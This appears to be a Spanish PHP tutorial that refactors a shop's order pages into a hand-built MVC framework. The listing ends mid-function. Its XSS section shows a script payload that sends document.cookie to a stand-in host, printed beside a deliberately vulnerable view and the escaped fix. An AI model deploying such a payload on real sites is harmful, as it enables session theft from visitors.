MVC · del artesanal al framework

<?php
declare(strict_types=1);

// pedidos.php — version 1
$pdo = new PDO('pgsql:host=localhost;dbname=tienda', 'app', 'secreto',
               [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);

$filas = $pdo->query('SELECT id, cliente, total, estado FROM pedidos ORDER BY id')
             ->fetchAll(PDO::FETCH_ASSOC);
?>
<h1>Pedidos</h1>
<table border="1">
<?php foreach ($filas as $f): ?>
  <tr>
    <td>#<?= $f['id'] ?></td>
    <td><?= $f['cliente'] ?></td>
    <td>S/ <?= number_format($f['total'], 2) ?></td>
    <td><?= $f['estado'] ?></td>
  </tr>
<?php endforeach; ?>
</table>

<?php // fragmento de pedidos.php — version 2
$filtro = $_GET['estado'] ?? '';
if ($filtro !== '') {
    $st = $pdo->prepare('SELECT ... FROM pedidos WHERE estado = ?');
    $st->execute([$filtro]);
} else {
    $st = $pdo->query('SELECT ... FROM pedidos');   // SQL duplicado
}
$filas = $st->fetchAll();

foreach ($filas as $f) {
    $color = $f['estado'] === 'ANULADO' ? 'red' : 'black';   // presentacion en datos
    $monto = '$ ' . number_format((float)$f['total'], 2);    // formato duplicable
    // ... HTML entrelazado con reglas de negocio ...
}

if (($_GET['export'] ?? '') === 'csv') {
    header('Content-Type: text/csv');
    foreach ($filas as $f) {
        echo implode(',', [$f['id'], $f['cliente'],
              number_format((float)$f['total'], 2), $f['estado']]), "\n";
    }
    exit;   // y si mañana piden Excel, ¿copiamos el bucle otra vez?
}

<?php
declare(strict_types=1);

// repositorio_pedidos.php — lo UNICO que sabe hablar con la base
function conexion(): PDO
{
    return new PDO('pgsql:host=localhost;dbname=tienda', 'app', 'secreto',
                   [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
}

function pedidosPorEstado(string $estado = ''): array
{
    $sql = 'SELECT id, cliente, total, estado FROM pedidos';
    if ($estado !== '') {
        $sql .= ' WHERE estado = :estado';           // una sola consulta, parametrizada
    }
    $st = conexion()->prepare($sql . ' ORDER BY id');
    if ($estado !== '') {
        $st->execute([':estado' => $estado]);
    } else {
        $st->execute();
    }
    return $st->fetchAll(PDO::FETCH_ASSOC);
}

<?php // plantilla_pedidos.php — SOLO representacion; no consulta, no calcula
/** @param array<int,array> $filas */
?>
<h1>Pedidos</h1>
<table border="1">
<?php foreach ($filas as $f): ?>
  <tr>
    <td>#<?= $f['id'] ?></td>
    <td><?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></td>
    <td>S/ <?= number_format($f['total_formateado'], 2) ?></td>
    <td style="color:<?= $f['color'] ?>"><?= $f['estado'] ?></td>
  </tr>
<?php endforeach; ?>
</table>

<?php
// index.php — orquestador: lee entrada, llama datos, entrega datos a la vista
require 'repositorio_pedidos.php';

$estado = $_GET['estado'] ?? '';
$esCsv  = ($_GET['export'] ?? '') === 'csv';

$filas = pedidosPorEstado($estado);
$filas = array_map(function (array $f): array {
    $f['total_formateado'] = (float)$f['total'];                 // dato listo para pintar
    $f['color'] = $f['estado'] === 'ANULADO' ? 'red' : 'black';
    return $f;
}, $filas);

if ($esCsv) {
    header('Content-Type: text/csv; charset=utf-8');
    foreach ($filas as $f) {
        echo implode(',', [$f['id'], $f['cliente'],
              number_format($f['total_formateado'], 2), $f['estado']]), "\n";
    }
    exit;
}

require 'plantilla_pedidos.php';   // la vista NO sabe de donde vinieron los datos

<?php
// MODELO — dominio puro: reglas y datos. Ignora GET, POST y HTML.
final readonly class Pedido
{
    public function __construct(
        public int $id,
        public string $cliente,
        public float $total,
        public string $estado,           // 'REGISTRADO' | 'PAGADO' | 'ANULADO'
    ) {}

    public function estaAnulado(): bool
    {
        return $this->estado === 'ANULADO';
    }
}

// CONTROLADOR — decide QUÉ hacer con la peticion, nada de SQL ni HTML.
final class PedidosControlador
{
    public function __construct(private PedidoRepositorio $repo) {}

    public function ver(int $id): string
    {
        $pedido = $this->repo->encontrar($id)
                 ?? throw new RuntimeException('Pedido inexistente', 404);
        return vista('pedidos/detalle', ['pedido' => $pedido]);   // elige vista
    }
}

// VISTA — plantilla tonta: recibe $pedido ya listo y SOLO pinta.
?>
<!-- pedidos/detalle.php -->
<h1>Pedido #<?= $pedido->id ?></h1>
<p><?= htmlspecialchars($pedido->cliente, ENT_QUOTES) ?></p>

<?php
declare(strict_types=1);

// Lo que PHP ya desgloso por ti (eco cap. 32 de php_01, ahora con fin concreto)
var_dump(
    $_SERVER['REQUEST_METHOD'],                 // 'GET'
    $_SERVER['REQUEST_URI'],                    // '/pedidos?page=5&estado=PAGADO'
    parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),      // '/pedidos'  <- ruta limpia
    $_GET                                       // ['page'=>'5', 'estado'=>'PAGADO']
);

<?php
http_response_code(302);
header('Location: /pedidos/17');     // PRG: redirigir tras POST (cap. 23)

http_response_code(404);             // ruta no encontrada o pedido inexistente
echo 'Recurso no encontrado';

<?php // inicio COPIADO en los seis archivos anteriores
declare(strict_types=1);
session_start();                       // ¿y si uno lo olvida?
require 'repositorio_pedidos.php';
require 'repositorio_clientes.php';
require 'helpers_vistas.php';
if (empty($_SESSION['usuario'])) {     // control de acceso copiado y pegado
    header('Location: login.php');
    exit;
}
// ... recien ahora empieza lo especifico de ESTA pagina ...

<?php
// index.php — LA unica puerta (esqueleto conceptual; lo construimos en cap. 6)
declare(strict_types=1);
session_start();
require 'repositorio_pedidos.php';       // arranque UNICO, garantizado
require 'helpers_vistas.php';

$metodo = $_SERVER['REQUEST_METHOD'];
$ruta   = rutaLimpia();                  // /pedidos/17 — cap. 8

$controlador = new PedidosControlador(new PedidoRepositorio(conexion()));

$respuesta = match ([$metodo, $ruta]) {
    ['GET', '/']         => $controlador->inicio(),
    ['GET', '/pedidos']  => $controlador->listar(),
    ['POST', '/pedidos'] => $controlador->registrar(),
    default              => throw new RuntimeException('Ruta no encontrada', 404),
};

echo $respuesta;

<?php
declare(strict_types=1);

// ============================================================
//  index.php — front controller de la tienda (version minima)
// ============================================================

// --- 1) Entorno y rutas base -------------------------------------------
define('BASE_PATH', __DIR__);                 // raiz del proyecto en disco

// --- 2) Sesion (eco cap. 35 de php_01) ----------------------------------
session_start();

// --- 3) Carga de codigo de la aplicacion -------------------------------
require BASE_PATH . '/repositorio_pedidos.php';
require BASE_PATH . '/helpers_vistas.php';

// --- 4) Handler global: ninguna excepcion sin respuesta ----------------
set_exception_handler(function (Throwable $e): void {
    http_response_code($e->getCode() >= 400 ? $e->getCode() : 500);
    echo 'Error controlado: ', htmlspecialchars($e->getMessage(), ENT_QUOTES);
});

// --- 5) Lectura de la peticion (eco cap. 4) ----------------------------
$metodo = $_SERVER['REQUEST_METHOD'];
$ruta   = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

// --- 6) Despacho PROVISORIO: match hardwired ---------------------------
try {
    $respuesta = match ($ruta) {
        '/', '/inicio' => '<h1>Bienvenido a la tienda</h1><p>' . date('Y-m-d H:i') . '</p>',
        '/pedidos'     => '<h1>Pedidos</h1><p>aqui ira el listado</p>',
        default        => throw new RuntimeException('Ruta no encontrada', 404),
    };
    http_response_code(200);
} catch (Throwable $e) {
    $respuesta = htmlspecialchars($e->getMessage(), ENT_QUOTES);
    http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
}

// --- 7) Respuesta -------------------------------------------------------
echo $respuesta;

# .htaccess — misma carpeta que index.php
RewriteEngine On

# No reescribir si la peticion es un archivo REAL (css, js, imagenes)
RewriteCond %{REQUEST_FILENAME} !-f

# ...ni un directorio REAL
RewriteCond %{REQUEST_FILENAME} !-d

# Todo lo demas viaja al front controller y ahi termina el ciclo [L]
RewriteRule ^ index.php [L]

# /etc/nginx/sites-available/tienda (fragmento del bloque server)
location / {
    try_files $uri $uri/ /index.php?$query_string;
}

<?php
// router_dev.php — imita el .htaccess bajo `php -S localhost:8000 router_dev.php`
$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

// ¿existe archivo o carpeta real? dejalo pasar (devuelve false = sirvelo directo)
if ($ruta !== '/' && file_exists(__DIR__ . $ruta)) {
    return false;
}

require __DIR__ . '/index.php';   // todo lo demas: front controller

<?php
declare(strict_types=1);

define('BASE_URL', '/tienda/public');   // '' si la app vive en la raiz del host

function rutaActual(): string
{
    // 1) URI cruda (incluye query string)
    $uri = $_SERVER['REQUEST_URI'] ?? '/';

    // 2) separar la PATH del query string (?page=5 se queda para $_GET)
    $ruta = parse_url($uri, PHP_URL_PATH) ?? '/';

    // 3) decodificar %20 y amigos; rechazar trucos de null byte
    $ruta = rawurldecode($ruta);
    if (str_contains($ruta, "\0")) {
        throw new RuntimeException('Ruta invalida', 400);
    }

    // 4) quitar el prefijo base (/tienda/public/pedidos -> /pedidos)
    if (BASE_URL !== '' && str_starts_with($ruta, BASE_URL)) {
        $ruta = substr($ruta, strlen(BASE_URL));
    }

    // 5) normalizar: sin slash final (pero '/' raiz se respeta)
    return $ruta !== '/' && str_ends_with($ruta, '/')
         ? rtrim($ruta, '/') : $ruta;
}

<?php
// prueba_ruta.php — correr con: php prueba_ruta.php
$casos = [
    ['/pedidos?page=5&estado=PAGADO', '/pedidos'],
    ['/tienda/public/pedidos/17',     '/pedidos/17'],
    ['/tienda/public/pedidos/',       '/pedidos'],
    ['/',                             '/'],
    ['/catalogo%20nuevo',             '/catalogo nuevo'],
];

foreach ($casos as [$entrada, $esperado]) {
    $_SERVER['REQUEST_URI'] = $entrada;
    $obtenido = rutaActual();
    $ok = $obtenido === $esperado ? 'OK ' : 'FALLA';
    printf("%s %-38s => %s\n", $ok, $entrada, $obtenido);
    assert($obtenido === $esperado);
}
echo "Pruebas de rutas terminadas\n";

// ANTES (cap. 6):
$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

// DESPUES:
require BASE_PATH . '/ruta_actual.php';
$ruta = rutaActual();

<?php
declare(strict_types=1);

// rutas.php — el mapa completo de la aplicacion
return [
    'GET /'           => ['InicioControlador', 'inicio'],
    'GET /contacto'   => ['InicioControlador', 'contacto'],
    'GET /pedidos'    => ['PedidosControlador', 'listar'],
    'POST /pedidos'   => ['PedidosControlador', 'registrar'],
];

<?php
// router.php — version estatica
function buscarRuta(array $rutas, string $metodo, string $ruta): array
{
    $llave = $metodo . ' ' . $ruta;

    if (!isset($rutas[$llave])) {
        throw new RuntimeException("Ruta no encontrada: $llave", 404);
    }
    return $rutas[$llave];       // ej.: ['PedidosControlador', 'listar']
}

<?php // fragmento final del bootstrap (reemplaza el match del cap. 6)
$rutas = require BASE_PATH . '/rutas.php';
require BASE_PATH . '/router.php';

$metodo = $_SERVER['REQUEST_METHOD'];
$ruta   = rutaActual();                       // eco cap. 8

try {
    [$clase, $accion] = buscarRuta($rutas, $metodo, $ruta);

    // Despacho provisional: aun sin reflexion, ya funciona
    require BASE_PATH . '/controladores/' . $clase . '.php';
    $controlador = new $clase();
    $respuesta   = $controlador->$accion();

    http_response_code(200);
} catch (Throwable $e) {
    http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
    $respuesta = htmlspecialchars($e->getMessage(), ENT_QUOTES);
}
echo $respuesta;

<?php
// Traduccion: '/pedidos/{id}'  =>  '#^/pedidos/(?P<id>\d+)$#'
function patronDe(string $ruta): string
{
    $patron = preg_replace('#\{([a-zA-Z_][a-zA-Z0-9_]*)\}#', '(?P<$1>\d+)', $ruta);
    return '#^' . $patron . '$#';
}

var_dump(patronDe('/pedidos/{id}'));

<?php
function buscarRuta(array $rutas, string $metodo, string $ruta): array
{
    $llave = $metodo . ' ' . $ruta;

    // 1) coincidencia EXACTA (rapida, cubre la mayoria)
    if (isset($rutas[$llave])) {
        return [$rutas[$llave], []];                 // sin parametros
    }

    // 2) coincidencia POR PATRON (rutas dinamicas)
    foreach ($rutas as $definicion => $accion) {
        [$met, $patronRuta] = explode(' ', $definicion, 2);
        if ($met !== $metodo || !str_contains($patronRuta, '{')) {
            continue;
        }
        if (preg_match(patronDe($patronRuta), $ruta, $m)) {
            unset($m[0]);                            // el match completo sobra
            return [$accion, $m];                    // ej.: ['id' => '17']
        }
    }

    throw new RuntimeException("Ruta no encontrada: $llave", 404);
}

<?php // rutas.php — ahora con dinamicas
return [
    'GET /'                    => ['InicioControlador',   'inicio'],
    'GET /pedidos'             => ['PedidosControlador',  'listar'],
    'POST /pedidos'            => ['PedidosControlador',  'registrar'],
    'GET /pedidos/{id}'        => ['PedidosControlador',  'ver'],
    'POST /pedidos/{id}/anular' => ['PedidosControlador', 'anular'],
];

<?php
$rutas = require 'rutas.php';

[$accion, $params] = buscarRuta($rutas, 'GET', '/pedidos');
assert($params === []);

[$accion, $params] = buscarRuta($rutas, 'GET', '/pedidos/17');
assert($accion === ['PedidosControlador', 'ver']);
assert($params === ['id' => '17']);       // ojo: string, no int

echo "Matcher verificado\n";

<?php
final class ExcepcionMetodo extends RuntimeException
{
    /** @param string[] $permitidos verbos HTTP validos para la ruta */
    public function __construct(public readonly array $permitidos)
    {
        parent::__construct('Metodo no permitido', 405);
    }
}

<?php
function resolverRuta(array $rutas, string $metodo, string $ruta): array
{
    // PASADA 1: coincidencia exacta
    if (isset($rutas["$metodo $ruta"])) {
        return [$rutas["$metodo $ruta"], []];
    }

    // PASADA 1b: patrones con parametros
    foreach ($rutas as $definicion => $accion) {
        [$met, $patronRuta] = explode(' ', $definicion, 2);
        if ($met === $metodo && str_contains($patronRuta, '{')
            && preg_match(patronDe($patronRuta), $ruta, $m)) {
            unset($m[0]);
            return [$accion, $m];
        }
    }

    // PASADA 2: diagnostico — ¿la ruta existe con OTRO metodo?
    $permitidos = [];
    foreach ($rutas as $definicion => $ignorar) {
        [$met, $patronRuta] = explode(' ', $definicion, 2);
        $coincide = str_contains($patronRuta, '{')
            ? (bool) preg_match(patronDe($patronRuta), $ruta)
            : $patronRuta === $ruta;
        if ($coincide) {
            $permitidos[] = $met;
        }
    }

    if ($permitidos !== []) {
        throw new ExcepcionMetodo(array_values(array_unique($permitidos)));
    }

    throw new RuntimeException("Ruta no encontrada: $ruta", 404);
}

} catch (ExcepcionMetodo $e) {
    http_response_code(405);
    header('Allow: ' . implode(', ', $e->permitidos));
    $respuesta = 'Metodo no permitido';
} catch (Throwable $e) {
    http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
    $respuesta = htmlspecialchars($e->getMessage(), ENT_QUOTES);
}

<?php
// contenedor.php — fabrica de objetos (mini service container)
function construirControlador(string $clase): object
{
    return match ($clase) {
        'InicioControlador'  => new InicioControlador(),
        'PedidosControlador' => new PedidosControlador(
            new PedidoRepositorio(conexion())
        ),
        default => throw new RuntimeException("Controlador desconocido: $clase", 500),
    };
}

<?php
$objeto   = construirControlador($accion[0]);
$metodo   = $accion[1];
$params   = ['id' => '17'];

// A) variable-variable clasica (no soporta params multiples ordenados)
$objeto->$metodo(id: (int) current($params));

// B) call_user_func_array: expande el arreglo como argumentos
call_user_func_array([$objeto, $metodo], $params);

// C) first-class callable + spread (PHP 8+, la mas limpia)
($objeto->$metodo)(...$params);

<?php
function construirConReflexion(string $clase, array $fabricas = []): object
{
    $ref = new ReflectionClass($clase);
    $ctor = $ref->getConstructor();

    if ($ctor === null || $ctor->getNumberOfParameters() === 0) {
        return new $clase();                       // sin dependencias
    }

    $args = [];
    foreach ($ctor->getParameters() as $param) {
        $tipo = $param->getType();
        $nombre = $tipo && !$tipo->isBuiltin() ? $tipo->getName() : null;

        // ¿hay una fabrica registrada para este tipo? (ej.: PDO, repositorios)
        if ($nombre !== null && isset($fabricas[$nombre])) {
            $args[] = $fabricas[$nombre]();
        } elseif ($nombre !== null && class_exists($nombre)) {
            $args[] = construirConReflexion($nombre, $fabricas);   // recursivo
        } elseif ($param->isDefaultValueAvailable()) {
            $args[] = $param->getDefaultValue();
        } else {
            throw new RuntimeException("No puedo resolver \$$param", 500);
        }
    }
    return $ref->newInstanceArgs($args);
}

// registro minimo de fabricas:
$fabricas = [
    PDO::class => conexion(...),
    PedidoRepositorio::class => fn () => new PedidoRepositorio(conexion()),
];

<?php
declare(strict_types=1);
define('BASE_PATH', __DIR__);
session_start();

require BASE_PATH . '/helpers.php';
require BASE_PATH . '/excepciones.php';
require BASE_PATH . '/repositorios.php';
require BASE_PATH . '/controladores.php';
require BASE_PATH . '/router.php';

set_exception_handler(function (Throwable $e): void {
    http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
    echo htmlspecialchars($e->getMessage(), ENT_QUOTES);
});

$fabricas = [
    PDO::class => conexion(...),
    PedidoRepositorio::class => fn () => new PedidoRepositorio(conexion()),
];

try {
    [$accion, $params] = resolverRuta(
        require BASE_PATH . '/rutas.php',
        $_SERVER['REQUEST_METHOD'],
        rutaActual(),
    );
    $controlador = construirConReflexion($accion[0], $fabricas);
    $metodo = $accion[1];

    http_response_code(200);
    echo ($controlador->$metodo)(...$params);
} catch (Throwable $e) {
    set_exception_handler(null);       // evita recursion infinita
    throw $e;
}

<?php
// MAL: imprimir ANTES de decidir cabeceras
echo '<h1>Pedido guardado</h1>';        // el cuerpo ya empezo a salir
header('Location: /pedidos');            // WARNING: headers already sent!

<?php
// helpers_vistas.php
define('RUTA_PLANTILLAS', BASE_PATH . '/plantillas');

function vista(string $plantilla, array $datos = []): string
{
    // 1) cada dato se vuelve una variable local de la plantilla
    extract($datos, EXTR_SKIP);

    // 2) abrir buffer: nada sale a la pantalla todavia
    ob_start();

    // 3) la plantilla ejecuta su HTML y usa esas variables
    require RUTA_PLANTILLAS . '/' . $plantilla . '.php';

    // 4) devolver TODO lo producido como un string limpio
    return ob_get_clean();
}

<?php
// controlador
$pedidos = $this->repo->todos();
return vista('pedidos/listar', ['titulo' => 'Pedidos', 'filas' => $pedidos]);

<?php // plantillas/pedidos/listar.php — $titulo y $filas YA EXISTEN aqui ?>
<h1><?= htmlspecialchars($titulo, ENT_QUOTES) ?></h1>
<table border="1">
<?php foreach ($filas as $f): ?>
  <tr>
    <td>#<?= (int) $f['id'] ?></td>
    <td><?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></td>
  </tr>
<?php endforeach; ?>
</table>

<?php
function vista(string $plantilla, array $datos = [], ?string $layout = 'base'): string
{
    // NIVEL 1: el contenido especifico
    extract($datos, EXTR_SKIP);
    ob_start();
    require RUTA_PLANTILLAS . '/' . $plantilla . '.php';
    $contenido = ob_get_clean();

    // NIVEL 2: el layout lo envuelve (o devolvemos crudo para AJAX)
    if ($layout === null) {
        return $contenido;
    }
    $titulo ??= 'Tienda';                       // default si la vista no lo trajo
    ob_start();
    require RUTA_PLANTILLAS . '/layouts/' . $layout . '.php';
    return ob_get_clean();
}

<?php // plantillas/layouts/base.php — recibe $contenido y quizas $titulo ?>
<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="utf-8">
  <title><?= htmlspecialchars($titulo, ENT_QUOTES) ?> · Tienda</title>
</head>
<body>
  <nav>
    <a href="/">Inicio</a> |
    <a href="/pedidos">Pedidos</a> |
    <a href="/contacto">Contacto</a>
  </nav>

  <main>
    <?= $contenido ?>      <!-- AQUI aterriza la plantilla interna -->
  </main>

  <footer>&copy; 2026 Tienda</footer>
</body>
</html>

<?php // plantillas/pedidos/listar.php — ya SIN esqueleto, solo su parte ?>
<h1><?= htmlspecialchars($titulo, ENT_QUOTES) ?></h1>
<?php foreach ($filas as $f): ?>
  <p>#<?= (int) $f['id'] ?> — <?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></p>
<?php endforeach; ?>

<?php // plantillas/pedidos/_fila.php — espera $f ?>
<tr>
  <td>#<?= (int) $f['id'] ?></td>
  <td><?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></td>
  <td>S/ <?= number_format($f['total'], 2) ?></td>
</tr>

<?php // plantillas/pedidos/listar.php ?>
<h1><?= htmlspecialchars($titulo, ENT_QUOTES) ?></h1>
<table border="1">
<?php foreach ($filas as $f): ?>
  <?php require __DIR__ . '/_fila.php'; ?>
<?php endforeach; ?>
</table>

<?php
return vista('sesion/login', $datos, layout: 'limpio');

<?php
// helpers_vistas.php
function e(null|string|Stringable $valor): string
{
    return htmlspecialchars((string) $valor,
        ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// uso en plantilla:
?>
<p>Cliente: <?= e($f['cliente']) ?></p>

<?php
// Un "cliente" malicioso se registro con este nombre:
$nombre = '<script>fetch("https://malo.pe?c="+document.cookie)</script>';
?>

<!-- VISTA VULNERABLE -->
<p><?= $nombre ?></p>        <!-- el script VIAJA al navegador de cada visitante -->

<!-- VISTA CURADA -->
<p><?= e($nombre) ?></p>      <!-- se ve como texto: &lt;script&gt;... inocuo -->

<?php // DUPLICADO en listar.php, buscar.php y reporte_csv.php
$color = $f['estado'] === 'ANULADO' ? 'red'
       : ($f['estado'] === 'PAGADO' ? 'green' : 'black');
$clase = match($f['estado']) {           // ¿otra variante? otra copia
    'ANULADO' => 'badge-danger',
    default   => 'badge-secondary',
};

<?php
// vistamodelos/PedidoVista.php — SOLO presentacion; no toca BD
final readonly class PedidoVista
{
    public function __construct(
        public int $id,
        public string $cliente,
        public string $total,            // YA formateado
        public string $fecha,            // YA legible
        public string $estado,
        public string $claseBadge,       // decision visual YA tomada
        public bool $anulable,
    ) {}

    public static function desdeDominio(Pedido $p): self
    {
        return new self(
            id: $p->id,
            cliente: $p->cliente,
            total: 'S/ ' . number_format($p->total, 2),
            fecha: $p->creado->format('d/m/Y H:i'),
            estado: $p->estado,
            claseBadge: match ($p->estado) {
                'ANULADO' => 'badge-danger',
                'PAGADO'  => 'badge-success',
                default   => 'badge-secondary',
            },
            anulable: $p->puedeAnularse(),      // regla de negocio delegada al modelo
        );
    }
}

<?php // plantillas/pedidos/_fila.php — espera PedidoVista $vm ?>
<tr>
  <td>#<?= $vm->id ?></td>
  <td><?= e($vm->cliente) ?></td>
  <td><?= $vm->total ?></td>
  <td><span class="<?= $vm->claseBadge ?>"><?= e($vm->estado) ?></span></td>
  <?php if ($vm->anulable): ?>
    <td><a href="/pedidos/<?= $vm->id ?>/anular">Anular</a></td>
  <?php endif; ?>
</tr>

<?php
public function listar(): string
{
    $vms = array_map(
        fn (Pedido $p) => PedidoVista::desdeDominio($p),
        $this->repo->todos()
    );
    return vista('pedidos/listar', ['filas' => $vms, 'titulo' => 'Pedidos']);
}

<?php
declare(strict_types=1);

// dominio/EstadoPedido.php — nomenclatura canonica de la serie
enum EstadoPedido: string
{
    case REGISTRADO = 'REGISTRADO';
    case PAGADO     = 'PAGADO';
    case ANULADO    = 'ANULADO';

    // Las transiciones validas viven AQUI, no dispersas por el sistema
    public function puedePasarA(self $nuevo): bool
    {
        return match ($this) {
            self::REGISTRADO => in_array($nuevo, [self::PAGADO, self::ANULADO], true),
            default          => false,      // PAGADO y ANULADO son finales
        };
    }
}

<?php
// dominio/Pedido.php
final readonly class Pedido
{
    public function __construct(
        public int $id,
        public int $clienteId,
        public float $total,
        public EstadoPedido $estado,
        public DateTimeImmutable $creado,
    ) {}

    /** Fabrica desde fila de BD: convierte tipos primitivos a ricos */
    public static function desdeFila(array $f): self
    {
        return new self(
            id: (int) $f['id'],
            clienteId: (int) $f['cliente_id'],
            total: (float) $f['total'],
            estado: EstadoPedido::from($f['estado']),
            creado: new DateTimeImmutable($f['creado']),
        );
    }

    // --- reglas de consulta (no mutan nada: la clase es readonly) ---

    public function estaAnulado(): bool
    {
        return $this->estado === EstadoPedido::ANULADO;
    }

    public function puedeAnularse(): bool
    {
        return $this->estado->puedePasarA(EstadoPedido::ANULADO);
    }
}

<?php
// dominio/PedidoRepositorio.php
interface PedidoRepositorio
{
    /** @throws PedidoNoEncontrado si no existe */
    public function encontrar(int $id): Pedido;

    /** @return Pedido[] */
    public function todos(): array;

    /** @return Pedido[] */
    public function porEstado(EstadoPedido $estado): array;

    public function agregar(Pedido $p): int;   // devuelve el nuevo id

    /** Cambia estado persistido; valida transicion contra la entidad */
    public function cambiarEstado(int $id, EstadoPedido $nuevo): void;
}

<?php
// infraestructura/PdoPedidoRepositorio.php
final class PdoPedidoRepositorio implements PedidoRepositorio
{
    public function __construct(private PDO $pdo) {}

    public function encontrar(int $id): Pedido
    {
        $st = $this->pdo->prepare(
            'SELECT * FROM pedidos WHERE id = :id'
        );
        $st->execute(['id' => $id]);
        $fila = $st->fetch(PDO::FETCH_ASSOC);

        if ($fila === false) {
            throw new PedidoNoEncontrado("Pedido $id no existe");
        }
        return Pedido::desdeFila($fila);
    }

    public function todos(): array
    {
        $filas = $this->pdo->
            query('SELECT * FROM pedidos ORDER BY creado DESC')->
            fetchAll(PDO::FETCH_ASSOC);
        return array_map(Pedido::desdeFila(...), $filas);
    }

    public function porEstado(EstadoPedido $estado): array
    {
        $st = $this->pdo->prepare(
            'SELECT * FROM pedidos WHERE estado = :e ORDER BY creado DESC'
        );
        $st->execute(['e' => $estado->value]);   // enum backendeado = string listo
        return array_map(Pedido::desdeFila(...), $st->fetchAll(PDO::FETCH_ASSOC));
    }

    public function agregar(Pedido $p): int
    {
        $st = $this->pdo->prepare(
            'INSERT INTO pedidos (cliente_id, total, estado, creado)
             VALUES (:c, :t, :e, :f)'
        );
        $st->execute([
            'c' => $p->clienteId,
            't' => $p->total,
            'e' => $p->estado->value,
            'f' => $p->creado->format('Y-m-d H:i:s'),
        ]);
        return (int) $this->pdo->lastInsertId();
    }

    public function cambiarEstado(int $id, EstadoPedido $nuevo): void
    {
        $actual = $this->encontrar($id);           // valida existencia...
        if (!$actual->estado->puedePasarA($nuevo)) { // ...y transicion
            throw new DominioException(
                "Pedido $id: {$actual->estado->value} no puede pasar a {$nuevo->value}"
            );
        }
        $st = $this->pdo->prepare(
            'UPDATE pedidos SET estado = :e WHERE id = :id'
        );
        $st->execute(['e' => $nuevo->value, 'id' => $id]);
    }
}

<?php
// aplicacion/ValidadorPedido.php
final readonly class ValidadorPedido
{
    /** @return array<string,string> campo => mensaje (vacio = todo OK) */
    public function validar(array $datos): array
    {
        $errores = [];

        $cliente = trim((string) ($datos['cliente'] ?? ''));
        if ($cliente === '') {
            $errores['cliente'] = 'Indique el nombre del cliente.';
        } elseif (mb_strlen($cliente) < 3) {
            $errores['cliente'] = 'Muy corto (minimo 3 letras).';
        }

        $items = $datos['items'] ?? [];
        if (!is_array($items) || count($items) === 0) {
            $errores['items'] = 'Agregue al menos un producto.';
        }

        // El total NO se valida aqui: no se CONFIA en el — se recalcula.
        // Eso es negocio y le toca al modelo (cap. 21).

        return $errores;
    }
}

<?php
public function guardar(): string
{
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        return vista('pedidos/nuevo', ['errores' => [], 'viejo' => []]);
    }

    $validador = new ValidadorPedido();
    $errores   = $validador->validar($_POST);

    if ($errores !== []) {
        http_response_code(422);                       // Unprocessable Content
        return vista('pedidos/nuevo', [
            'errores' => $errores,
            'viejo'   => $_POST,                       // rellenar el form
        ]);
    }

    // ... camino feliz: dominio + repositorio (caps. 20-21)
}

<?php // plantillas/pedidos/nuevo.php — el par errores+viejo pintandose ?>
<form method="post">
  <label>Cliente:
    <input name="cliente" value="<?= e($viejo['cliente'] ?? '') ?>">
  </label>
  <?php if (isset($errores['cliente'])): ?>
    <p class="error"><?= e($errores['cliente']) ?></p>
  <?php endif; ?>

  <button>Registrar pedido</button>
</form>

<?php
// infraestructura/PdoPedidoRepositorio.php (extension)
/** @param array<array{producto:string,cantidad:int,precio:float}> $detalles */
public function crearConDetalles(array $datos, array $detalles): int
{
    $this->pdo->beginTransaction();
    try {
        // 1) cabecera
        $st = $this->pdo->prepare(
            'INSERT INTO pedidos (cliente_id, total, estado, creado)
             VALUES (:c, :t, :e, NOW())'
        );
        $st->execute([
            'c' => $datos['cliente_id'],
            't' => $datos['total'],          // YA recalculado por el dominio
            'e' => EstadoPedido::REGISTRADO->value,
        ]);
        $pedidoId = (int) $this->pdo->lastInsertId();

        // 2) detalles — misma conexion, MISMA transaccion
        $stD = $this->pdo->prepare(
            'INSERT INTO pedido_detalles
             (pedido_id, producto, cantidad, precio)
             VALUES (:p, :pr, :q, :v)'
        );
        foreach ($detalles as $d) {
            $stD->execute([
                'p' => $pedidoId,
                'pr' => $d['producto'],
                'q'  => $d['cantidad'],
                'v'  => $d['precio'],
            ]);
        }

        $this->pdo->commit();               // todo bien: visible para todos
        return $pedidoId;
    } catch (Throwable $e) {
        $this->pdo->rollBack();             // cualquier fallo: como si nada
        throw $e;                           // ...pero avisa arriba
    }
}

<?php
// dominio/PedidoBorrador.php — estado mutable ANTES de confirmar
final class PedidoBorrador
{
    /** @var array<array{producto:string,cantidad:int,precio:float}> */
    private array $items = [];

    public function __construct(private readonly int $clienteId) {}

    public function agregar(string $producto, int $cantidad, float $precio): void
    {
        if ($cantidad < 1 || $precio <= 0) {
            throw new DominioException('Cantidad o precio invalidos');
        }
        $this->items[] = compact('producto', 'cantidad', 'precio');
    }

    /** REGLA: el total SIEMPRE se recalcula desde los items. Jamas se recibe. */
    public function total(): float
    {
        $bruto = array_sum(array_map(
            fn (array $i) => $i['cantidad'] * $i['precio'],
            $this->items
        ));
        return round($bruto * ($bruto >= 500 ? 0.95 : 1.0), 2); // 5% sobre S/500
    }

    public function items(): array { return $this->items; }
    public function clienteId(): int { return $this->clienteId; }
}

<?php
// El intento clasico de fraude, ahora inutil:
// curl -d "total=0.01&items[0][producto]=Laptop..." /pedidos
// => el controlador IGNORA $_POST['total']; llama a $borrador->total().

<?php
// dominio/Pedido.php (metodos agregados)
public function marcarPagado(): self          // devuelve NUEVO pedido (readonly)
{
    return $this->transicionarA(EstadoPedido::PAGADO);
}

public function anular(): self
{
    return $this->transicionarA(EstadoPedido::ANULADO);
}

private function transicionarA(EstadoPedido $nuevo): self
{
